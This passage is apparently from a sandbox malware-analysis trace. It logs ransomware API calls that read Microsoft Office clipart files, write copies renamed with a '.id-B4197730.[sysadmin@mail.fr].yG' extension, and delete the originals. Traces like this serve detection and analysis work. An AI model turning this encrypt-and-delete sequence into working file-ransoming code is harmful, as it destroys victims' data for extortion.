	[0184.068] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.068] lstrlenW (lpString=".xlsx") returned 5
	[0184.068] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.068] lstrlenW (lpString=".ppt") returned 4
	[0184.068] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0184.068] lstrlenW (lpString=".zip") returned 4
	[0184.068] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.068] lstrlenW (lpString=".rar") returned 4
	[0184.068] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.068] lstrlenW (lpString=".bz2") returned 4
	[0184.068] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.068] lstrlenW (lpString=".7z") returned 3
	[0184.068] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0184.068] lstrlenW (lpString=".dbf") returned 4
	[0184.068] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0184.068] lstrlenW (lpString=".1cd") returned 4
	[0184.068] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0184.068] lstrlenW (lpString=".jpg") returned 4
	[0184.069] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.069] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0184.069] lstrlenW (lpString="FD00074_.WMF") returned 12
	[0184.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0184.069] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=17850) returned 1
	[0184.069] CloseHandle (hObject=0x368) returned 1
	[0184.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 0x220
	[0184.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0184.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0184.071] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.071] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0184.072] GetLastError () returned 0x0
	[0184.072] ReadFile (in: hFile=0x368, lpBuffer=0x3b0c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesRead=0x301fecc*=0x45ba, lpOverlapped=0x0) returned 1
	[0184.073] WriteFile (in: hFile=0x364, lpBuffer=0x3b0c020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesWritten=0x301fc94*=0x45c0, lpOverlapped=0x0) returned 1
	[0184.075] ReadFile (in: hFile=0x368, lpBuffer=0x3b0c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.075] WriteFile (in: hFile=0x364, lpBuffer=0x3b0c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.075] SetEndOfFile (hFile=0x364) returned 1
	[0184.075] CloseHandle (hObject=0x364) returned 1
	[0184.075] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.075] SetEndOfFile (hFile=0x368) returned 1
	[0184.076] CloseHandle (hObject=0x368) returned 1
	[0184.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0184.077] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 1
	[0184.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0184.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0184.077] lstrlenW (lpString=".doc") returned 4
	[0184.077] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.077] lstrlenW (lpString=".docx") returned 5
	[0184.078] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.078] lstrlenW (lpString=".pdf") returned 4
	[0184.078] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.078] lstrlenW (lpString=".xls") returned 4
	[0184.078] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.078] lstrlenW (lpString=".xlsx") returned 5
	[0184.078] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.078] lstrlenW (lpString=".ppt") returned 4
	[0184.078] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0184.078] lstrlenW (lpString=".zip") returned 4
	[0184.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.078] lstrlenW (lpString=".rar") returned 4
	[0184.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.078] lstrlenW (lpString=".bz2") returned 4
	[0184.078] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.078] lstrlenW (lpString=".7z") returned 3
	[0184.078] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0184.078] lstrlenW (lpString=".dbf") returned 4
	[0184.078] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0184.078] lstrlenW (lpString=".1cd") returned 4
	[0184.078] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0184.078] lstrlenW (lpString=".jpg") returned 4
	[0184.079] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0184.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0184.079] lstrlenW (lpString=".doc") returned 4
	[0184.079] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.079] lstrlenW (lpString=".docx") returned 5
	[0184.079] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.079] lstrlenW (lpString=".pdf") returned 4
	[0184.079] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.079] lstrlenW (lpString=".xls") returned 4
	[0184.079] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.079] lstrlenW (lpString=".xlsx") returned 5
	[0184.079] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.079] lstrlenW (lpString=".ppt") returned 4
	[0184.079] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0184.079] lstrlenW (lpString=".zip") returned 4
	[0184.079] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.079] lstrlenW (lpString=".rar") returned 4
	[0184.079] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.079] lstrlenW (lpString=".bz2") returned 4
	[0184.079] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.079] lstrlenW (lpString=".7z") returned 3
	[0184.079] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0184.079] lstrlenW (lpString=".dbf") returned 4
	[0184.079] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0184.080] lstrlenW (lpString=".1cd") returned 4
	[0184.080] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0184.080] lstrlenW (lpString=".jpg") returned 4
	[0184.080] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.080] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0184.080] lstrlenW (lpString="FD00076_.WMF") returned 12
	[0184.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0184.080] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=11994) returned 1
	[0184.080] CloseHandle (hObject=0x368) returned 1
	[0184.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 0x220
	[0184.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0184.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0184.081] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.081] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0184.082] GetLastError () returned 0x0
	[0184.082] ReadFile (in: hFile=0x368, lpBuffer=0x3b0c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesRead=0x301fecc*=0x2eda, lpOverlapped=0x0) returned 1
	[0184.516] WriteFile (in: hFile=0x364, lpBuffer=0x3b0c020*, nNumberOfBytesToWrite=0x2ee0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesWritten=0x301fc94*=0x2ee0, lpOverlapped=0x0) returned 1
	[0184.533] ReadFile (in: hFile=0x368, lpBuffer=0x3b0c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.534] WriteFile (in: hFile=0x364, lpBuffer=0x3b0c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.534] SetEndOfFile (hFile=0x364) returned 1
	[0184.543] CloseHandle (hObject=0x364) returned 1
	[0184.543] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.543] SetEndOfFile (hFile=0x368) returned 1
	[0184.554] CloseHandle (hObject=0x368) returned 1
	[0184.569] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0184.569] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 1
	[0184.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0184.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0184.580] lstrlenW (lpString=".doc") returned 4
	[0184.580] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.580] lstrlenW (lpString=".docx") returned 5
	[0184.580] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.581] lstrlenW (lpString=".pdf") returned 4
	[0184.581] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.581] lstrlenW (lpString=".xls") returned 4
	[0184.581] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.581] lstrlenW (lpString=".xlsx") returned 5
	[0184.581] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.581] lstrlenW (lpString=".ppt") returned 4
	[0184.581] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0184.581] lstrlenW (lpString=".zip") returned 4
	[0184.581] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.581] lstrlenW (lpString=".rar") returned 4
	[0184.581] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.581] lstrlenW (lpString=".bz2") returned 4
	[0184.581] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.581] lstrlenW (lpString=".7z") returned 3
	[0184.581] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0184.581] lstrlenW (lpString=".dbf") returned 4
	[0184.581] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0184.581] lstrlenW (lpString=".1cd") returned 4
	[0184.581] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0184.581] lstrlenW (lpString=".jpg") returned 4
	[0184.581] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0184.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0184.582] lstrlenW (lpString=".doc") returned 4
	[0184.582] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.582] lstrlenW (lpString=".docx") returned 5
	[0184.582] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.582] lstrlenW (lpString=".pdf") returned 4
	[0184.582] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.582] lstrlenW (lpString=".xls") returned 4
	[0184.582] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.582] lstrlenW (lpString=".xlsx") returned 5
	[0184.582] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.582] lstrlenW (lpString=".ppt") returned 4
	[0184.582] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0184.582] lstrlenW (lpString=".zip") returned 4
	[0184.582] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.582] lstrlenW (lpString=".rar") returned 4
	[0184.582] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.582] lstrlenW (lpString=".bz2") returned 4
	[0184.582] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.582] lstrlenW (lpString=".7z") returned 3
	[0184.582] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0184.582] lstrlenW (lpString=".dbf") returned 4
	[0184.582] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0184.582] lstrlenW (lpString=".1cd") returned 4
	[0184.583] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0184.583] lstrlenW (lpString=".jpg") returned 4
	[0184.583] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.583] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0184.583] lstrlenW (lpString="FD00361_.WMF") returned 12
	[0184.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0184.583] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=4074) returned 1
	[0184.583] CloseHandle (hObject=0x340) returned 1
	[0184.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf")) returned 0x220
	[0184.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0184.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0184.591] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.591] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0184.597] GetLastError () returned 0x0
	[0184.597] ReadFile (in: hFile=0x368, lpBuffer=0x3b0c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesRead=0x301fecc*=0xfea, lpOverlapped=0x0) returned 1
	[0184.598] WriteFile (in: hFile=0x30c, lpBuffer=0x3b0c020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesWritten=0x301fc94*=0xff0, lpOverlapped=0x0) returned 1
	[0184.599] ReadFile (in: hFile=0x368, lpBuffer=0x3b0c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.599] WriteFile (in: hFile=0x30c, lpBuffer=0x3b0c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.600] SetEndOfFile (hFile=0x30c) returned 1
	[0184.606] CloseHandle (hObject=0x30c) returned 1
	[0184.609] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.609] SetEndOfFile (hFile=0x368) returned 1
	[0184.610] CloseHandle (hObject=0x368) returned 1
	[0184.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0184.610] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf")) returned 1
	[0184.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0184.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0184.611] lstrlenW (lpString=".doc") returned 4
	[0184.611] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.611] lstrlenW (lpString=".docx") returned 5
	[0184.611] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.611] lstrlenW (lpString=".pdf") returned 4
	[0184.611] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.611] lstrlenW (lpString=".xls") returned 4
	[0184.611] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.611] lstrlenW (lpString=".xlsx") returned 5
	[0184.611] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.611] lstrlenW (lpString=".ppt") returned 4
	[0184.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0184.611] lstrlenW (lpString=".zip") returned 4
	[0184.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.611] lstrlenW (lpString=".rar") returned 4
	[0184.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.611] lstrlenW (lpString=".bz2") returned 4
	[0184.611] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.611] lstrlenW (lpString=".7z") returned 3
	[0184.611] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0184.611] lstrlenW (lpString=".dbf") returned 4
	[0184.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0184.612] lstrlenW (lpString=".1cd") returned 4
	[0184.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0184.612] lstrlenW (lpString=".jpg") returned 4
	[0184.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0184.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0184.612] lstrlenW (lpString=".doc") returned 4
	[0184.612] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.612] lstrlenW (lpString=".docx") returned 5
	[0184.612] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.612] lstrlenW (lpString=".pdf") returned 4
	[0184.612] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.612] lstrlenW (lpString=".xls") returned 4
